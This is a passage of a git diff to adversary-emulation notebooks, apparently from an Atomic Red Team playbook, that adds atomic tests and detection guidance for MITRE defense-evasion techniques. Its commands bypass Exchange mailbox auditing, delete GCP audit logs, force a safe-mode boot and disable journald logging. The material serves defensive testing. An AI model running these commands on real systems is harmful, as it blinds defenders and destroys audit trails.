--log-group-name test-logs --region us-west-2 --output json\necho \"*** Log Group Deleted ***\"\n```" + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$secure_pwd = \"o365_password_test\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"o365_user_test\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-MailboxAuditBypassAssociation -Identity \"o365_email_test\" -AuditBypassEnabled $true\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "0804a69d", + "id": "82671811", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.008 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "2b550906", + "id": "75330e87", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\n$secure_pwd = \"o365_password_test\" | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object System.Management.Automation.PSCredential -ArgumentList \"o365_user_test\", $secure_pwd\nConnect-ExchangeOnline -Credential $creds\nSet-MailboxAuditBypassAssociation -Identity \"o365_email_test\" -AuditBypassEnabled $false\nDisconnect-ExchangeOnline -Confirm:$false\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "80751cd1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.008 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "abda26fe", + "metadata": {}, + "source": "### Atomic Test #10 - GCP - Delete Activity Event Log\nGCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied.\nAn adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. \n\nThis Atomic attempts to delete the Activity Event log. An event is generated under the method name of `google.logging.v2.LoggingServiceV2.DeleteLog` with a Serverity of `ERROR`.\n\n**Supported Platforms:** iaas:gcp\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Requires gcloud\n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v gcloud)\" ]; then exit 0; else exit 1; fi;\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Please Install Google Cloud SDK before running this atomic test : https://cloud.google.com/sdk/docs/install\"\n\n```\n##### Description: Check if user is logged in \n\n##### Check Prereq Commands:\n```sh\ngcloud config get-value account\n\n```\n##### Get Prereq Commands:\n```sh\ngcloud auth login --no-launch-browser\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7b74a5c4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.008 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "ac8378a9", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\ngcloud config set project atomic-project-1\ngcloud logging logs delete projects/atomic-project-1/logs/cloudaudit.googleapis.com%2Factivity --quiet\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e243b8d4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.008 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "d663a006", "metadata": {}, - "source": "## Detection\nMonitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled." + "source": "## Detection\nMonitor logs for API calls to disable logging. In AWS, monitor for: StopLogging and DeleteTrail.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: google.logging.v2.ConfigServiceV2.UpdateSink.(Citation: Configuring Data Access audit logs) In Azure, monitor for az monitor diagnostic-settings delete.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. " } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.009.ipynb b/playbook/tactics/defense-evasion/T1562.009.ipynb index 11d90973..85aba54c 100644 --- a/playbook/tactics/defense-evasion/T1562.009.ipynb +++ b/playbook/tactics/defense-evasion/T1562.009.ipynb @@ -2,19 +2,54 @@ "cells": [ { "cell_type": "markdown", - "id": "412d1920", + "id": "e3f857ad", "metadata": {}, "source": "# T1562.009 - Safe Mode Boot\nAdversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)" }, { "cell_type": "markdown", - "id": "ea103646", + "id": "61991e20", "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "6b05c64c", + "id": "a34adeed", + "metadata": {}, + "source": [ + "### Atomic Test #1 - Safe Mode Boot", + "Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nbcdedit /set safeboot network```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "924d7fdc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.009 -TestNumbers 1" + }, + { + "cell_type": "markdown", + "id": "e08a226a", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nbcdedit /deletevalue {current} safeboot```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5203c7bc", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.009 -TestNumbers 1 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ca56ae7d", "metadata": {}, "source": "## Detection\nMonitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\* in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"] or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)" } @@ -22,13 +57,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.010.ipynb b/playbook/tactics/defense-evasion/T1562.010.ipynb index 088226b0..93639d7e 100644 --- a/playbook/tactics/defense-evasion/T1562.010.ipynb +++ b/playbook/tactics/defense-evasion/T1562.010.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "c891b42c", + "id": "21d3f07d", "metadata": {}, - "source": "# T1562.010 - Downgrade Attack\nAdversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)" + "source": "# T1562.010 - Downgrade Attack\nAdversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. \n\nAdversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: Praetorian TLS Downgrade Attack 2014) For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)" }, { "cell_type": "markdown", - "id": "0009c482", + "id": "41d2dc96", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "94c481c8", + "id": "f30955f7", "metadata": {}, - "source": "## Detection\nMonitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\n\nMonitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)" + "source": "## Detection\nMonitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: powershell \u2013v 2). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\n\nMonitor for Windows event ID (EID) 400, specifically the EngineVersion field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)\n\nMonitor network data to detect cases where HTTP is used instead of HTTPS." } ], "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.011.ipynb b/playbook/tactics/defense-evasion/T1562.011.ipynb new file mode 100644 index 00000000..60a61eda --- /dev/null +++ b/playbook/tactics/defense-evasion/T1562.011.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "636d582c", + "metadata": {}, + "source": "# T1562.011 - Spoof Security Alerting\nAdversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a \u201chealthy\u201d system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)" + }, + { + "cell_type": "markdown", + "id": "27b3d61a", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1562.012.ipynb b/playbook/tactics/defense-evasion/T1562.012.ipynb new file mode 100644 index 00000000..489e26f7 --- /dev/null +++ b/playbook/tactics/defense-evasion/T1562.012.ipynb @@ -0,0 +1,32 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "eb5a7894", + "metadata": {}, + "source": "# T1562.012 - Disable or Modify Linux Audit System\nAdversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)" + }, + { + "cell_type": "markdown", + "id": "47687b7e", + "metadata": {}, + "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." + } + ], + "metadata": { + "kernelspec": { + "display_name": ".NET (PowerShell)", + "language": "pwsh", + "name": ".net-powershell" + }, + "language_info": { + "file_extension": ".ps1", + "mimetype": "text/x-powershell", + "name": "pwsh", + "pygments_lexer": "powershell", + "version": "7.0" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} \ No newline at end of file diff --git a/playbook/tactics/defense-evasion/T1562.ipynb b/playbook/tactics/defense-evasion/T1562.ipynb index d59a3e2f..344edfc1 100644 --- a/playbook/tactics/defense-evasion/T1562.ipynb +++ b/playbook/tactics/defense-evasion/T1562.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "79483a90", + "id": "ec3493b6", "metadata": {}, - "source": "# T1562 - Impair Defenses\nAdversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components." + "source": "# T1562 - Impair Defenses\nAdversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components." }, { "cell_type": "markdown", - "id": "36b48d1a", + "id": "f72416d3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7c733e21", + "id": "31842872", "metadata": {}, "source": [ "### Atomic Test #1 - Windows Disable LSA Protection", @@ -28,34 +28,104 @@ { "cell_type": "code", "execution_count": null, - "id": "5e2e0bf9", + "id": "ba8772ee", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0143c4b7", + "id": "7bf34b47", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f55a4c51", + "id": "05c9ddb5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "cb14ce86", + "id": "3d8dae2e", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Disable journal logging via systemctl utility", + "The atomic test disables the journal logging using built-in systemctl utility\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo systemctl stop systemd-journald #disables journal logging\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c2360dab", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "986b1ff2", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsudo systemctl start systemd-journald #starts journal service\nsudo systemctl enable systemd-journald #starts journal service automatically at boot time\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "41b8ec0c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "06a0eaef", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Disable journal logging via sed utility", + "The atomic test disables the journal logging by searching and replacing the \"Storage\" parameter to \"none\" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bb380fb2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562 -TestNumbers 3" + }, + { + "cell_type": "markdown", + "id": "7203d915", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data\nsudo systemctl restart systemd-journald #restart the journal service\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d0776e83", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562 -TestNumbers 3 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d34db00d", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures." }, { "cell_type": "markdown", - "id": "75470a8f", + "id": "b3f3f44c", "metadata": {}, "source": "\n## Shield Active Defense\n### Application Diversity \n Present the adversary with a variety of installed applications and services. \n\n Application diversity is presenting multiple software targets to the adversary. On a single target system, defenders can configure multiple different services or user software applications. On a target network, defenders can present systems with a variety of operating systems, operating system versions, applications, and services.\n#### Opportunity\nThere is an opportunity to study the adversary and collect first-hand observations about them and their tools.\n#### Use Case\nA defender can plant AV or monitoring tools which are easy for an adversary to remove. If an adversary removes these, they may be enticed to act more openly believing they have removed monitoring from the system.\n#### Procedures\nUse a mix of vulnerable and nonvulnerable software on a system to allow you to see what exploits the adversary leverages in their attacks.\nInstall Anti-virus or other end-point detection tools on systems to see if an adversary takes note of them and if so, how they react.\n" } @@ -63,13 +133,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.001.ipynb b/playbook/tactics/defense-evasion/T1564.001.ipynb index da273e08..46e95663 100644 --- a/playbook/tactics/defense-evasion/T1564.001.ipynb +++ b/playbook/tactics/defense-evasion/T1564.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1eb55e69", + "id": "bfb44ffc", "metadata": {}, "source": "# T1564.001 - Hidden Files and Directories\nAdversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files." }, { "cell_type": "markdown", - "id": "784dc8c1", + "id": "5aaf6588", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "874b15ce", + "id": "c7d9bf2d", "metadata": {}, "source": [ "### Atomic Test #1 - Create a hidden file in a hidden directory", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "d4dffe84", + "id": "d60a1391", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "2821dbe1", + "id": "beffffe9", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm -rf /var/tmp/.hidden-directory/\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a23f20d6", + "id": "4ed8be07", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "f3661e74", + "id": "11e7d70e", "metadata": {}, "source": [ "### Atomic Test #2 - Mac Hidden file", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "656164d7", + "id": "bdcc7989", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "a99ca625", + "id": "9d303891", "metadata": {}, "source": "### Atomic Test #3 - Create Windows System File with Attrib\nCreates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details\nand observe that the Attributes are \"SA\" for System and Archive.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: The file must exist on disk at specified location (#{file_to_modify})\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST %temp%\\T1564.001.txt ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\necho system_Attrib_T1564.001 >> %temp%\\T1564.001.txt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0d094826", + "id": "aaef5543", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6f6cb6eb", + "id": "c3c96e3b", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -92,42 +92,42 @@ { "cell_type": "code", "execution_count": null, - "id": "34c16adf", + "id": "ccde8e56", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "86bb8e61", + "id": "af78b36c", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /A:S %temp%\\T1564.001.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "45c61a4f", + "id": "ca279f91", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "0ac41469", + "id": "5ce21702", "metadata": {}, "source": "### Atomic Test #4 - Create Windows Hidden File with Attrib\nCreates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file\nand observe that the Attributes are \"SH\" for System and Hidden.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: The file must exist on disk at specified location (#{file_to_modify})\n\n##### Check Prereq Commands:\n```cmd\nIF EXIST %temp%\\T1564.001.txt ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```cmd\necho system_Attrib_T1564.001 >> %temp%\\T1564.001.txt\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6513403f", + "id": "76acf788", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "1748eefc", + "id": "734f67e1", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -137,28 +137,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c0b6ea04", + "id": "29710d47", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "d3256bcf", + "id": "159be418", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel /A:H %temp%\\T1564.001.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a6bc2858", + "id": "ac3dc11d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "ae439236", + "id": "fe1fb90a", "metadata": {}, "source": [ "### Atomic Test #5 - Hidden files", @@ -171,14 +171,14 @@ { "cell_type": "code", "execution_count": null, - "id": "09a24d32", + "id": "c7d6d962", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "b88066ee", + "id": "862185b1", "metadata": {}, "source": [ "### Atomic Test #6 - Hide a Directory", @@ -191,28 +191,28 @@ { "cell_type": "code", "execution_count": null, - "id": "4e7c8f97", + "id": "5d8a49cf", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "70c6b12d", + "id": "765ff0fa", "metadata": {}, "source": "#### Cleanup: \n```sh\nrm /var/tmp/T1564.001_mac.txt\n```" }, { "cell_type": "code", "execution_count": null, - "id": "43c8abb8", + "id": "226f05de", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "23ebdfa9", + "id": "8b9ceb73", "metadata": {}, "source": [ "### Atomic Test #7 - Show all hidden files", @@ -225,28 +225,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a9ba1af4", + "id": "453a1d41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "a1d461b8", + "id": "e04b4973", "metadata": {}, "source": "#### Cleanup: \n```sh\ndefaults write com.apple.finder AppleShowAllFiles NO\n```" }, { "cell_type": "code", "execution_count": null, - "id": "dc7cd784", + "id": "f6db8919", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "8031ca50", + "id": "cb4db83d", "metadata": {}, "source": [ "### Atomic Test #8 - Hide Files Through Registry", @@ -260,28 +260,118 @@ { "cell_type": "code", "execution_count": null, - "id": "e574e2e4", + "id": "cf1ca04e", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "f7a009a1", + "id": "0655e9f7", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\" /v ShowSuperHidden /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\" /v Hidden /f >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9017f925", + "id": "3510c6b7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "37ad8c00", + "id": "67943a81", + "metadata": {}, + "source": "### Atomic Test #9 - Create Windows Hidden File with powershell\nCreates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file\nand observe that the Attributes is \"H\" Hidden.\n\n**Supported Platforms:** windows\n\nElevation Required 